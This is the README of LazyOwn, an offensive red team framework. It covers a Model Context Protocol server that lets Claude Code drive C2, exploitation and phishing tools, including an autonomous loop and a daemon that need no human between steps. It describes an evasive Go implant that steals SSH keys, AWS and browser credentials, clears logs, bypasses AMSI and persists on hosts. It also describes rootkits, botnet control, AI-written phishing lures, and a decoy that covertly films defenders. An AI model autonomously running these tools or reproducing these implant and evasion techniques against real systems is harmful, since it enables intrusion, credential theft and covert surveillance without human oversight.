LazyOwn

 ██▓    ▄▄▄      ▒███████▒▓██   ██▓ ▒█████   █     █░███▄    █
▓██▒   ▒████▄    ▒ ▒ ▒ ▄▀░ ▒██  ██▒▒██▒  ██▒▓█░ █ ░█░██ ▀█   █
▒██░   ▒██  ▀█▄  ░ ▒ ▄▀▒░   ▒██ ██░▒██░  ██▒▒█░ █ ░█▓██  ▀█ ██▒
▒██░   ░██▄▄▄▄██   ▄▀▒   ░  ░ ▐██▓░▒██   ██░░█░ █ ░█▓██▒  ▐▌██▒
░██████▒▓█   ▓██▒▒███████▒  ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░   ▓██░
░ ▒░▓  ░▒▒   ▓▒█░░▒▒ ▓░▒░▒   ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░   ▒ ▒
░ ░ ▒  ░ ▒   ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░   ░ ▒ ▒░   ▒ ░ ░ ░ ░░   ░ ▒░
  ░ ░    ░   ▒   ░ ░ ░ ░ ░ ▒ ▒ ░░  ░ ░ ░ ▒    ░   ░    ░   ░ ░
    ░  ░     ░  ░  ░ ░     ░ ░         ░ ░      ░            ░
                 ░         ░ ░

LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under the terms of the GNU General Public License v3. See the LICENSE file for details about using this software.

LazyOwn

LazyOwn is a professional red team framework for penetration testers and security researchers. It provides over 666 attack techniques for Linux, Unix, BSD, macOS, and Windows environments, and integrates the Atomic Red Team attack library.

Core Architecture

LazyOwn is built around a modular, command-driven architecture that provides flexibility and extensibility for security testing workflows.

LazyOwn integrates a command-line interface (CLI) built on cmd2 and a web-based GUI built on Flask. Parameters are scoped to payload.json, enabling consistent configuration across tools. The framework supports adversary simulation, task scheduling via the cron command, and persistent automated threat simulation workflows.

LazyOwn Skills — MCP Integration

Connect Claude Code to the LazyOwn framework via the Model Context Protocol (MCP). The MCP server exposes 67 tools covering the full engagement lifecycle.

Files

File	Purpose
skills/lazyown_mcp.py	MCP server — exposes 67 LazyOwn tools to Claude
skills/lazyown.md	Claude Code skill / slash-command documentation
skills/autonomous_daemon.py	Autonomous execution daemon (objective-driven, no Claude required between steps)
skills/hive_mind.py	Multi-agent queen + drone system with ChromaDB memory
skills/lazyown_policy.py	Reward-based policy engine for the auto_loop
skills/lazyown_facts.py	Structured fact extraction from nmap XML and tool output
skills/lazyown_parquet_db.py	Parquet knowledge base: session history, GTFOBins, LOLBas, ATT&CK

Quick Start

1. Register the MCP server

claude mcp add lazyown python3 /home/grisun0/LazyOwn/skills/lazyown_mcp.py

Or add manually to ~/.claude/claude_desktop_config.json:

{
  "mcpServers": {
    "lazyown": {
      "command": "python3",
      "args": ["/home/grisun0/LazyOwn/skills/lazyown_mcp.py"],
      "env": {
        "LAZYOWN_DIR": "/home/grisun0/LazyOwn"
      }
    }
  }
}

2. Install the slash command (optional)

cp skills/lazyown.md ~/.claude/commands/lazyown.md

3. Use from Claude Code

After restarting Claude Code, all lazyown_* tools are available.

You: set target to 10.10.11.78 and start the autonomous loop
Claude: [calls lazyown_set_config -> lazyown_auto_loop]

Environment Variables

Variable	Default	Description
LAZYOWN_DIR	parent of skills/	LazyOwn root directory
LAZYOWN_C2_HOST	payload.json lhost	C2 server address
LAZYOWN_C2_PORT	payload.json c2_port	C2 server port
LAZYOWN_C2_USER	payload.json c2_user	C2 username
LAZYOWN_C2_PASS	payload.json c2_pass	C2 password

MCP Tool Groups (71 tools)

Group	Tools	Description
Core Execution	6	run_command, get/set_config, list_modules, discover_commands, command_help
Target Management	3	add_target, list_targets, set_active_target
C2 / Implant Control	10	c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary
Session Awareness	4	session_status, session_state, list_sessions, read_session_file
Autonomous Loop	3	auto_loop, policy_status, recommend_next
Reactive Intelligence	2	reactive_suggest, bridge_suggest
Objectives & Planning	4	inject_objective, next_objective, soul, read_prompt
Knowledge Bases	9	parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model
Memory & Learning	3	memory_recall/store, eval_quality
Campaign & Reporting	7	campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline
Playbooks	2	playbook_generate, playbook_run
Addons, Tools & Plugins	3	list_addons/plugins, create_addon/tool
Scheduling	2	cron_schedule, daemon
AI Agents	5	run_agent, agent_status/result, list_agents, llm_ask
Event Engine	4	poll_events, ack_event, add_rule, heartbeat_status
SWAN MoE+RL	4	swan_run, swan_ensemble, swan_status, swan_route

Full documentation: skills/README.md and skills/lazyown.md.

Advanced AI Architecture (MoE + RL + SWAN + Hive Mind)

LazyOwn integrates a world-class multi-agent AI stack that adapts and improves through every engagement:

Mixture of Experts (MoE) — modules/moe_router.py

Five LLM experts are registered with capability tags, base weights, and cost tiers:

Expert	Backend	Strengths
groq_fast	Groq llama-3.1-8b-instant	Recon, enumeration, rapid decisions
groq_powerful	Groq llama-3.3-70b-versatile	Exploitation, post-ex, complex reasoning
groq_deepseek_r1	Groq deepseek-r1-distill-llama-70b	Privilege escalation, step-by-step reasoning
ollama_reason	Ollama deepseek-r1:1.5b	Offline, privacy-safe, detailed analysis
groq_gemma	Groq gemma2-9b-it	Lateral movement, credential analysis

Routing uses temperature-scaled softmax (T = max(0.5, 1.5/(1+calls/50))) over adjusted weights. Weights self-adjust via exponential moving average of per-expert reward over time.

Reinforcement Learning from Models (RLM) — modules/rl_trainer.py

Tabular Q-learning trains the routing policy over engagement sessions:

State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

Hyperparameters: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-greedy exploration decays per update. Q-values persist to sessions/expert_qvalues.json across sessions.

SWAN Orchestrator — skills/swan_agent.py

The top-level integration layer wires MoE + RL + Detection Oracle + Hive Memory:

• swan_run: single-expert execution with RL-guided routing and post-execution Q-update
• swan_ensemble: N experts in parallel via ThreadPoolExecutor, synthesised by WeightedTextAggregator
• OutcomeEvaluator: reward = 0 when detection probability ≥ 70% (detection-aware reward shaping)
• Every result stored in Hive Memory (ChromaDB) for cross-session learning

Detection Oracle (Blue Team Mirror) — modules/detection_oracle.py

Predicts detection probability before execution using 17 Sigma-lite rules covering: credential access (LSASS, SAM, DCSync), lateral movement (PsExec, WMI, evil-winrm), privilege escalation (token impersonation, named pipes), exploitation, recon, C2, and brute force.

Probability aggregation: P(detect) = 1 - ∏(1 - P_i) across all triggered rules.

Hive Mind — skills/hive_mind.py

Multi-agent queen+drone architecture with shared memory:

• QueenBrain (Claude): high-level orchestration + ConsensusProtocol for high-risk actions
• DronePool (Groq/Ollama): parallel execution of recon/exploit/cred/lateral/privesc tasks
• HiveMemory: ChromaDB semantic + SQLite episodic + Parquet long-term storage
• EpisodeReflectionEngine: post-campaign lesson extraction stored as sessions/campaign_lessons.jsonl

Autonomous Daemon — skills/autonomous_daemon.py

Four asyncio roles in a single process — no Claude required between steps:

Role 1 — ObjectiveLoop      : watches objectives.jsonl, takes + executes
Role 2 — ExecutionEngine    : 6-layer cascade per step, RL Q-table feedback
  Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback
Role 3 — WorldModelWatcher  : graph centrality + pivot candidate tracking
Role 4 — DroneCoordinator   : hive drone spawning on recon/cred/service findings

Enable SWAN in the daemon: export AUTO_USE_SWAN=1 before starting.

Graph-Based Reasoning — modules/world_model.py

NetworkGraph tracks all discovered relationships (hosts, services, credentials, trust paths) and computes normalized degree centrality to surface pivot candidates. The top-3 candidates are injected into every to_context_string() call, ensuring the autonomous loop always knows the highest-value lateral movement targets.

Key Features

1. Comprehensive Attack Library: Over 500 attack techniques for Linux, Unix, BSD, macOS, and Windows environments, augmented by the Atomic Red Team Framework library.
2. Interactive CLI: Based on cmd2, offering an intuitive and efficient command-line experience.

1. Decoy: if the ip addres not match with 127.0.0.1 or lhost flask will show a decoy website this decoy site will record a video with audio and take pictures from the intruder (sessions/captured_images) like a small versión of storm breaker to know who is the blueteam operator

1. Adversary Simulation: Advanced capabilities for generating red team operation sessions, ensuring meticulous and effective simulations.

1. Task Scheduling: Utilize the cron command to schedule and automate tasks, enabling persistent threat simulations.
2. Real-Time Results: Obtain immediate feedback and results from security assessments, ensuring timely and accurate insights.
3. RAT and Botnet Capabilities: Includes features for remote access and control, allowing for the management of botnets and persistent threats.
4. C2 Framework IA Powered: Acts as a command and control (C2) framework, enabling covert communication and control over compromised systems. and many IA bots to improve your opsec, Developed in Flask, providing a user-friendly interface for seamless interaction. Now with network discovery capabilities, allowing us to see the attack surface on our client map clearly and intuitively with filters and a search panel. New functionalities are coming soon.

1. Undetectable, Obfuscated, and Malleable GO Implants: The command with the payload comes obfuscated by default. Instead of directly downloading the beacon, it downloads a stub created in C to download the beacon, which is XOR-encoded with a key. It is then decoded in memory and executed in a temporary path with a unique name to evade detection, using svchost in Windows and lazyservice in Linux. This performs a two-stage implant, which has been tested on Kernel 6.12 and Windows [Version 10.0.20348.3807]. Additionally, an alternative Windows stub using LOLBAS PS1 and Csharp has been added, along with a version of ebird3 in LOLBAS that uses the same technologies. The Go beacon is a multi-platform, undetectable, and highly obfuscated implant tailored for advanced red teaming operations. It features polymorphism, operates in a configurable stealth mode, and secures communications with AES-256 encrypted channels. The beacon blends into environments by simulating legitimate network traffic and evades detection by identifying virtual machines, sandboxes, containers, and debuggers, dynamically adjusting its behavior. With a minimal footprint, it supports robust network discovery through ping-based host enumeration and port scanning of configured targets. The implant excels at exfiltrating sensitive data, including private keys, AWS credentials, browser credentials, and system logs. It offers dynamic TCP proxying for traffic redirection, privilege escalation attempts, and system log cleaning. Persistence is achieved across Windows, Linux, and macOS via scheduled tasks, systemd, crontab, and LaunchAgents. Additional capabilities include adversary emulation (MITRE ATT&CK), file timestamp obfuscation, and directory compression for exfiltration. Built with Go vet for code health, the implant integrates seamlessly with Dockerized environments and AWS Firecracker microVMs, making it a cornerstone of modern red team infrastructure, Built with Go vet for code integrity, the implant leverages Cloudflare for traffic obfuscation, routing communications through secure, high-performance redirectors to conceal C2 infrastructure. The Go binary is hardened with Garble obfuscation, thwarting reverse engineering and signature-based detection. On Windows, the implant employs extension camouflage to masquerade as benign files (e.g., .pdfx) and embeds custom icons via rsrc for convincing social engineering.

• Available beacon commands:
• stealth_off stop being stealthy, Disables stealth mode, allowing normal operations.
• stealth_on enter ninja mode, Enables stealth mode, minimizing activity to avoid detection.
• download: download:[filename] Downloads a file from the C2 to the compromised host.
• upload: [filename]: Uploads a file from the compromised host to the C2.
• rev: Establishes a reverse shell to the C2 using the configured port.
• exfil: Exfiltrates sensitive data (e.g., SSH keys, AWS credentials, command histories).
• download_exec: download_exec:[url]: Downloads and executes a binary from a URL (Linux only, stored in /dev/shm).
• obfuscate: [filename]: Obfuscates file timestamps to hinder forensic analysis.
• cleanlogs: Clears system logs (e.g., /var/log/syslog on Linux, event logs on Windows).
• discover: Performs network discovery, identifying live hosts via ping.
• adversary:[id_atomic]: Executes an adversary emulation test (MITRE ATT&CK) using downloaded atomic redteam framework scripts.
• softenum: Enumerates useful software on the host (e.g., docker, nc, python).
• netconfig: Captures and exfiltrates network configuration (e.g., ipconfig on Windows, ifconfig on Linux).
• escalatelin: Attempts privilege escalation on Linux (e.g., via sudo -n or SUID binaries).
• proxy:[listenip]:[listenport]:[targetip]:[targetport] Starts a TCP proxy redirecting traffic from listenAddr to targetAddr.
• stop_proxy:[listenaddr] Stops a TCP proxy on the specified address.
• portscan: Scans ports on discovered hosts and the configured rhost.
• compressdir:[directory]: Compresses a directory into a .tar.gz file and exfiltrates it.
• sandbox: Get info about the system if it's a sandbox or not.
• isvm: Get info about the system if it's a virtual machine or not.
• debug: Get info about the system if the target is debugged or not.
• persist: Try to persist mechanism in the target system.
• simulate: Execute a simulation of a legit web page like youtube.
• migrate: Inject a payload into a suspended process and resume it. If no payload is specified, the current process is injected (self-migration).
• shellcode: Download and execute a shellcode in memory. Supports multiple operative systems and formats msfvenom friendly (in windows the technique used is Early brid APC Injection).
• amsi: Bypass AMSI (Anti-Malware Scan Interface) on Windows systems to evade detection by PowerShell, WMI, and other scripting engines.
• terminate: Terminates the implant or beacon, removing files and persistence mechanisms.

1. Rootkit: Linux rootkit and Windows Malware to ensure persistence and undetectable.
2. Surface attack: We are pleased to document the new surface attack functionality. This feature allows the operator to upload a ZIP archive of Bloodhound capture data (validated with bloodhound.py) at any time via the main page. Upon upload, the system will render the complete attack surface, augmented with identified machines discovered through automated methods or system commands such as lazynmap (At WebCli can you click at the Host Icon and will paste the command to discover that host.), nmap, discovery, and run lazynmapdiscovery. These supplementary data sources will enrich the graphical representation, populating nodes within the attack surface. The interface will provide integrated controls for searching, filtering, enumerating, and correlating the various attack vectors. It is crucial to note that this feature is not intended as a replacement for Bloodhound. Its scope is limited to providing a rapid overview and efficient filtering of collected information to facilitate attack phase planning. For detailed attack guidance and exploitation, the operator is directed to the established Bloodhound toolset.

1. Phishing campaigns: The phishing module in the LazyOwn RedTeam Framework is a sophisticated component designed for simulating advanced phishing campaigns in ethical red teaming and security awareness training. It integrates artificial intelligence (AI), dynamic URL generation, comprehensive tracking, and behavioral analysis to create realistic and evasive phishing simulations. The module is built on a Flask-based backend with a Jinja2 frontend, leveraging SQLite for data persistence, YAML for configuration, and Groq AI for content generation and analysis. Below is a detailed enumeration of its features, technical implementation, and usage instructions.

• Description: The module uses the Groq AI (e.g., Mixtral-8x7b model) to generate context-aware phishing email templates tailored to specific campaigns. Templates are dynamically created based on user-defined parameters, such as target audience, theme (e.g., corporate, financial), and desired tone (e.g., urgent, professional).
• Technical Implementation: Templates are generated via Bot (Local Deepseek) and API calls to Groq (Remote), with prompts specifying template structure, language, and embedded placeholders (e.g., {name}, {beacon_url} and {tracking_pixel}).
• Generated templates are stored as HTML or plain text in the templates directory with unique identifiers (e.g., ai_template_1749691010.0413928).
• Integration with the campaign configuration allows embedding obfuscated URLs and tracking beacons.
• Automated creation of a short url for every beacon created
• Testing Endpoints Feature To facilitate rapid testing and verification of generated phishing templates, the LazyOwn RedTeam Framework now includes the capability to create arbitrary test endpoints. This feature allows users to quickly deploy and preview their phishing email templates directly within the framework.

Description: This enhancement introduces a user-friendly method to create new web endpoints that serve specific HTML templates. This is particularly useful for immediately inspecting the rendering and content of AI-generated templates without needing to integrate them into a full campaign.

Technical Implementation:

A new Flask route (/mkendpoint) and a corresponding HTML form have been added.

The form allows users to specify two key parameters:

Endpoint Name: The desired name for the new URL endpoint (e.g., landing). The full URL will be /your_app_root/{endpoint_name}.

Template File: The filename of the HTML template (located within the templates directory, e.g., ai_template_1749691010.0413928).

Upon submission, the framework dynamically registers a new route in the Flask application that, when accessed, renders the specified template.

Usage Instructions:

Navigate to the /mkendpoint URL in your LazyOwn RedTeam Framework instance.

Fill out the form with the desired Endpoint Name and the Template File you wish to test. Ensure the template file name is correct and exists in the templates directory.

Click the "Create Route" button.

Once created, you can access your test endpoint by navigating to the URL constructed using the specified Endpoint Name (e.g., /landing). This will display the content of the chosen template.

Further Capabilities (Implicit from Provided Code):

While the current implementation focuses on serving the template, the underlying Flask routing allows for future expansion to handle information sent to these test endpoints. Similar to regular campaign endpoints, you could potentially:

Capture Information: Modify the test_endpoint_view function to capture data submitted via GET or POST requests to the test endpoint. This data could be logged or displayed for testing purposes.

Access Session ID: The Flask session is available within the view function, allowing you to track and utilize session identifiers if needed for more complex testing scenarios.

This feature streamlines the testing process and provides a convenient way to quickly preview and verify your AI-powered phishing templates.

Command Capabilities

LazyOwn provides a rich set of commands available from both the CLI and web interface:

• addhosts: Add the domain and rhost to /etc/hosts file to route the attacks.
• aliass: Show all documented commands alias (use 'help -v' for verbose/'help ' for details or use aliass)
• list: Enumerates all available LazyOwn Modules within the framework, providing a comprehensive overview of the toolkit's capabilities.
• assign: Configures specific parameters for the operation, such as assign rhost 192.168.1.1 to define the target IP address, ensuring precise and tailored attacks.
• createcredentials: Add credentials exfiltrated to be used in the attacks or tests. createcredentials admin:adminpassword
• show: Displays the current values of all configured parameters, offering a clear and concise view of the operational setup.
• run : Executes specific scripts available in the framework, such as run lazysniff to initiate packet sniffing, enabling dynamic and responsive security assessments.
• cron: Schedules tasks to run at specified intervals, ensuring persistent and automated threat simulations that mimic the relentless nature of advanced cyber adversaries.
• exit: Gracefully exits the CLI, concluding the session with elegance and finality.
• auto: Execute all tools files enabled in the tool directory that are relevant to the Nmap scan report.
• help: Documented commands (use 'help -v' for verbose/'help ' for details)
• history: show the history of the commands in the cli.
• edit: An vim to edit files
• ipy: An Ipython3 interpreter

Originally designed to automate the search and analysis of binaries with special permissions on Linux and Windows systems, LazyOwn has evolved to encompass a broader range of functionalities. The project includes scripts that extract information from GTFOBins, analyze binaries on the system, and generate options based on the collected data.

Extending LazyOwnShell with Lua Plugins

This document explains how to use Lua scripting to extend the functionality of the LazyOwnShell application, which is built on top of the cmd2 framework in Python. Lua allows you to write custom plugins that can add new commands, modify existing behavior, or access application data.

---

Table of Contents

1. Introduction
2. Setting Up Lua Plugins
3. Writing Lua Plugins
4. Registering New Commands
5. Accessing Application Data
6. Error Handling
7. Example Plugins
8. Best Practices

---

1. Introduction

The LazyOwnShell application supports Lua scripting to allow users to extend its functionality without modifying the core Python code. Lua scripts (plugins) are stored in the plugins/ directory and are automatically loaded when the application starts.

Lua plugins can:

• Add new commands to the shell.
• Modify existing commands or behaviors.
• Access and manipulate application data exposed by Python.

---

2. Setting Up Lua Plugins

To use Lua plugins, ensure the following:

1. Install the lupa library in your Python environment:

   pip install lupa
   

   plugins/
        init_plugins.lua
        hello.lua
        goodbye.lua
   

   When the application starts, it will execute init_plugins.lua, which loads all other .lua files in the plugins/ directory.

2. Writing Lua Plugins A Lua plugin is a script file with the .lua extension placed in the plugins/ directory. Each plugin can define functions and register them as commands in the shell.

Structure of a Lua Plugin

 -- Define a function for the new command
 function my_command(arg)
     -- Your logic here
     print("This is a new command: " .. (arg or "default"))
 end

 -- Register the function as a command
 register_command("my_command", my_command)

Key Functions

• register_command(command_name, lua_function):
• Registers a new command in the shell.
• command_name: The name of the command (e.g., hello).
• lua_function: The Lua function to execute when the command is called.

1. Registering New Commands

   To add a new command to the shell, follow these steps:

• Define a Lua function that implements the command logic.

• Use register_command to register the function as a command.

• Example: Adding a hello Command

• Create a file plugins/hello.lua with the following content:

   function hello(arg)
       local name = arg or "world"
       print("Hello, " .. name .. "!")
   end
  
   register_command("hello", hello)
  

Now, you can run the hello command in the shell: bash hello Lua Hello, Lua! 4. Best Practices

• Keep Plugins Modular : Each plugin should focus on a single feature or functionality.
• Document Your Plugins : Provide clear documentation for each plugin, including usage examples.
• Test Thoroughly : Test your plugins in isolation before integrating them into the main application.
• Handle Errors Gracefully : Use pcall to handle errors in Lua plugins and prevent crashes.

By leveraging Lua scripting, you can extend the functionality of LazyOwnShell without modifying the core Python code. This allows for greater flexibility and customization, enabling users to write their own plugins to meet specific needs. Happy coding!

LazyAddons YAML System

Extending the LazyOwn RedTeam Framework's capabilities has never been so easy, even for non-programmers, thanks to the LazyAddons system that allows for extending functionalities using YAML files.

Declarative command creation through YAML configuration files.

📂 File Structure

lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml

🛠️ Addon Definition

Minimal Example

name: "shortname"  # CLI command (do_shortname)
enabled: true
description: "Tool description for help system"

tool:
  name: "Full Tool Name"
  repo_url: "https://github.com/user/repo"
  install_path: "tools/toolname"
  execute_command: "python tool.py -u {url}"

Advanced Configuration

params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

✨ Features Auto-Installation Tools clone from Git when missing:

git clone <repo_url> <install_path>

Parameter Substitution Replaces {param} in commands with values from:

• Command arguments

• Default values

• self.params

• Help Integration

help displays the YAML description.

🧩 Template

name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

▶️ Usage Place YAML files in lazyaddons/

Start your CLI application

Execute registered commands:

(Cmd) help your_command
(Cmd) your_command -args

🚨 Troubleshooting Missing parameters: Verify required fields in YAML

Install failures: Check network/git access

Command errors: Validate execute_command syntax

Key features:

• Clean GitHub-flavored markdown
• Focused only on YAML addons
• Includes ready-to-use templates
• Documents the parameter substitution system
• Provides troubleshooting tips

Would you like me to add any specific examples or usage scenarios?

LazyOwn on Reddit

Revolutionize Your Pentesting with LazyOwn: Automate the intrusion on Linux, MAC OSX, and Windows VICTIMS

https://www.reddit.com/r/LazyOwn/

https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a

Discover LazyOwn, the ultimate solution for automating the pentesting workflow to attack Linux, MacOSX and Windows systems. Our powerful tool simplifies pentesting, making it more efficient and effective. Watch this video to learn how LazyOwn can streamline your security assessments and enhance your cybersecurity toolkit.

LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

LazyOwn is ideal for cybersecurity professionals seeking a centralized and automated solution for their pentesting needs, saving time and enhancing efficiency in identifying and exploiting vulnerabilities.

Requisitos

• Python 3.x

• Módulos de Python:

  • requests
  • python-libnmap
  • pwncat-cs
  • pwn
  • groq
  • PyPDF2
  • docx
  • python-docx
  • olefile
  • exifread
  • pycryptodome
  • impacket
  • pandas
  • colorama
  • tabulate
  • pyarrow
  • keyboard
  • flask-unsign
  • name-that-hash
  • certipy-ad
  • ast
  • pykeepass
  • cmd2
  • Pillow
  • netaddr
  • stix2
  • pyautogui

• subprocess (incluido en la biblioteca estándar de Python)

• platform (incluido en la biblioteca estándar de Python)

• tkinter (Opcional para el GUI)

• numpy (Opcional para el GUI)

Instalación

1. Clona el repositorio:

git clone https://github.com/grisuno/LazyOwn.git
cd LazyOwn

1. Instala las dependencias de Python:

./install.sh

Uso

./run or ./fast_run_as_r00t.sh

./run --help
    [;,;] LazyOwn vvvrelease/0.2.8
    Usage: ./run [Options]
    Options:
      --help             Show this help panel.
      -v                 Show version.
      -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams)
      -c <command>       Exec a command using LazyOwn example: ping
      --no-banner        No Banner
      -s                 Run as root
      --old-banner       Show old Banner


./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)

Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help

01. Reconnaissance
──────────────────
alterx        finalrecon       ping             trace                  
apache_users  getcap           ports            trufflehog             
binarycheck   gospider         proxy            tshark_analyze         
cve           graudit          recon            waybackmachine         
dig           httprobe         serveralive2     whatweb                
dnschef       ipinfo           sherlock         windapsearchscrapeusers
dnsenum       launchpad        sslscan        
dnsmap        metabigor        tcpdump_capture
dnstool_py    openssl_sclient  tcpdump_icmp   

02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum  enum4linux_ng     nbtscan              rpcdump             wpscan
allin         evil_ssdp         net_rpc_addmem       rpcmap_py         
amass         feroxbuster       netexec              samrdump          
arjun         finger_user_enum  netview              sawks             
arpscan       fuzz              nikto                sessionssh        
batchnmap     getnpusers        nmapscript           skipfish          
bbot          gobuster          nuclei               smbattack         
blazy         hound             odat                 smbclient         
bloodhound    kerbrute          openredirex          smbclient_impacket
breacher      lazynmap          osmedeus             smbclient_py      
certipy       ldapdomaindump    parsero              smbmap            
certipy_ad    ldapsearch        parth                smtpuserenum      
changeme      lookupsid         portdiscover         snmpcheck         
cme           lookupsid_py      portservicediscover  snmpwalk          
davtest       loxs              pre2k                swaks             
dirsearch     lynis             pykerbrute           vscan             
dmitry        magicrecon        rdp_check_py         wfuzz             
enum4linux    mqtt_check_py     rpcclient            windapsearch      

03. Exploitation
────────────────
aclpwn_py         gettgtpkinit_py  psexec            sqlmap                    
addspn_py         greatSCT         psexec_py         sqsh                      
autoblody         img2cookie       py3ttyup          ss                        
cacti_exploit     jwt_tool         pyautomate        sshexploit                
commix            krbrelayx_py     pyoracle2         template_helper_serializer
cp                kusa             pywhisker         ticketer                  
createcookie      lazypwn          rejetto_hfs_exec  unicode_WAFbypass         
createdll         lfi              rev               upload_bypass             
digdug            lol              seo               utf                       
download_exploit  ms08_067_netapi  sharpshooter      winbase64payload          
downloader        ntpdate          shellfire         wrapper                   
eternal           owneredit        shellshock        www                       
excelntdonut      padbuster        sireprat          xss                       
filtering         powerserver      sqli              xsstrike                  
gets4uticket_py   printerbug_py    sqli_mssql_test 

04. Post-Exploitation
─────────────────────
add2find                     exe2bin              pezorsh              
adversary                    exe2donutbin         pip_proxy            
adversary_yaml               extract_yaml         pip_repo             
aes_pe                       find                 powershell_cmd_stager
ai_playbook                  follina              rmfromfind           
apt_proxy                    hex2shellcode        rubeus               
apt_repo                     internet_proxy       scavenger            
atomic_lazyown               issue_command_to_c2  scp                  
bin2shellcode                lazywebshell         service_ssh          
convert_remcomsvc_from_file  mimikatzpy           sessionsshstrace     
cports                       msfshellcoder        shellcode            
create_synthetic             ofuscate_string      shellcode2elf        
createpayload                ofuscatesh           shellcode2sylk       
d3monizedshell               ofuscatorps1         shellcode_search     
disableav                    path2hex             ssh_cmd              

05. Persistence
───────────────
asprevbase64       ftp                msfpc                 setoolKits
backdoor_factory   generate_revshell  paranoid_meterpreter  ssh       
conptyshell        grisun0            pwncat                toctoc    
createrevshell     grisun0w           pwncatcs              veil      
createwebshell     ivy                rdp                   weevely   
createwinrevshell  knokknok           revwin                weevelygen
darkarmour         listener_go        scarecrow           
dr0p1t             listener_py        service             

06. Privilege Escalation
────────────────────────
responder  smbserver

07. Credential Access
─────────────────────
addusers                cred          john2hash        rocky           
adsso_spray             creds_py      john2keepas      searchhash      
cewl                    crunch        john2zip         smalldic        
crack_cisco_7_password  cubespraying  keepass          spraykatz       
createcredentials       dacledit      medusa           sshkey          
createhash              generatedic   passtightvnc     sudo            
createmail              hashcat       passwordspray    transform       
createusers_and_hashs   hydra         refill_password  username_anarchy

08. Lateral Movement
────────────────────
addcli     id_rsa           penelope         sshd               wifipass  
bloodyAD   lateral_mov_lin  regeorg          stormbreaker       wmiexec   
chisel     ligolo           rnc              targetedKerberoas  wmiexecpro
dcomexec   mssqlcli         set_proxychains  tord             
getTGT     nc               shadowsocks      upload_c2        
gospherus  ngrok            socat            vpn              

09. Data Exfiltration
─────────────────────
adgetpass    dploot    evilwinrm     getuserspns  reg_py    secretsdump  
decrypt      encrypt   getadusers    gitdumper    rsync     unzip        
download_c2  evidence  getnthash_py  gmsadumper   samdump2  upload_gofile

10. Command & Control
─────────────────────
atomic_agent  automsf     emp3r0r                mitre_test   sliver_server
atomic_gen    c2          empire                 msf        
atomic_tests  caldera     generate_playbook      msfrpc     
attack_plan   duckyspark  iis_webdav_upload_asp  my_playbook

11. Reporting
─────────────
apropos                  createtargets          gpt             process_scans
banners                  download_malwarebazar  groq            pth_net      
c2asm                    extract_ports          img2vid         pup          
camphish                 eyewitness             malwarebazar    vulns        
create_session_json      eyewitness_py          morse         
createjsonmachine        get_avaible_actions    name_the_hash 
createjsonmachine_batch  gowitness              nmapscripthelp

12. Miscellaneous
─────────────────
acknowledgearp   clone_site          getseclist        links         run      
acknowledgeicmp  cron                graph             list          sh       
addhosts         decode              h                 load_session  show     
aliass           download_resources  hex_to_plaintext  nano          sys      
assign           encode              ignorearp         news          tab      
banner           encoderpayload      ignoreicmp        payload       urldecode
base64decode     encodewinbase64     ip                pwd           urlencode
base64encode     exit                ip2asn            qa            v        
check_update     fixel               ip2hex            rhost       
clean            fixperm             kick              rot         
clock            gencert             lazyscript        rotf        

13. Lua Plugin
──────────────
generate_c_reverse_shell          lolbas_certutil_download_exec
generate_cleanup_commands         lolbas_certutil_exe          
generate_html_payload             lolbas_mshta_js              
generate_lateral_command          lolbas_mshta_reverse_shell   
generate_linux_asm_reverse_shell  lolbas_rundll32_dll          
generate_linux_raw_shellcode      lolbas_wmic_xsl_execution    
generate_lolbird                  parse_nmap_with_xmlstarlet   
generate_msfvenom_loader          run_nuclei_on_nmap_files     
generate_msfvenom_loader_windows  run_python_rev_c2            
generate_reverse_shell            rundll32_sct_from_url        
generate_stub                     validate_shellcode           
kerberos_harvest                  visualize_network            
lolbas_bitsadmin_exe            

14. Yaml Addon.
───────────────
AdaptixC2                 GoPEInjection      OverRide                          
agentzero                 gosearch           peeko                             
argfuscator               gui                pretender                         
ATTPwn                    gui2               PTMultiTools                      
AuroraPatch               hack_browser_data  PTMultiTools_scan                 
banner_tool               hellbird           PyinMemoryPE                      
bbr                       hive               pyrit                             
beacon                    hooka_linux_amd64  raven                             
cgoblin_windows           hostdiscover       ridenum                           
Clematis                  kivi_revshell      setoolkit                         
commix2                   laps               ShadowLink                        
copy-fail-CVE-2026-31431  lazyaddon_creator  shellcode_custom_win_rev_tcp_xored
CVE-2022-22077            lazyagentAi        SigPloit                          
CVE_2025_24071_PoC        lazybinenc         spoonmap                          
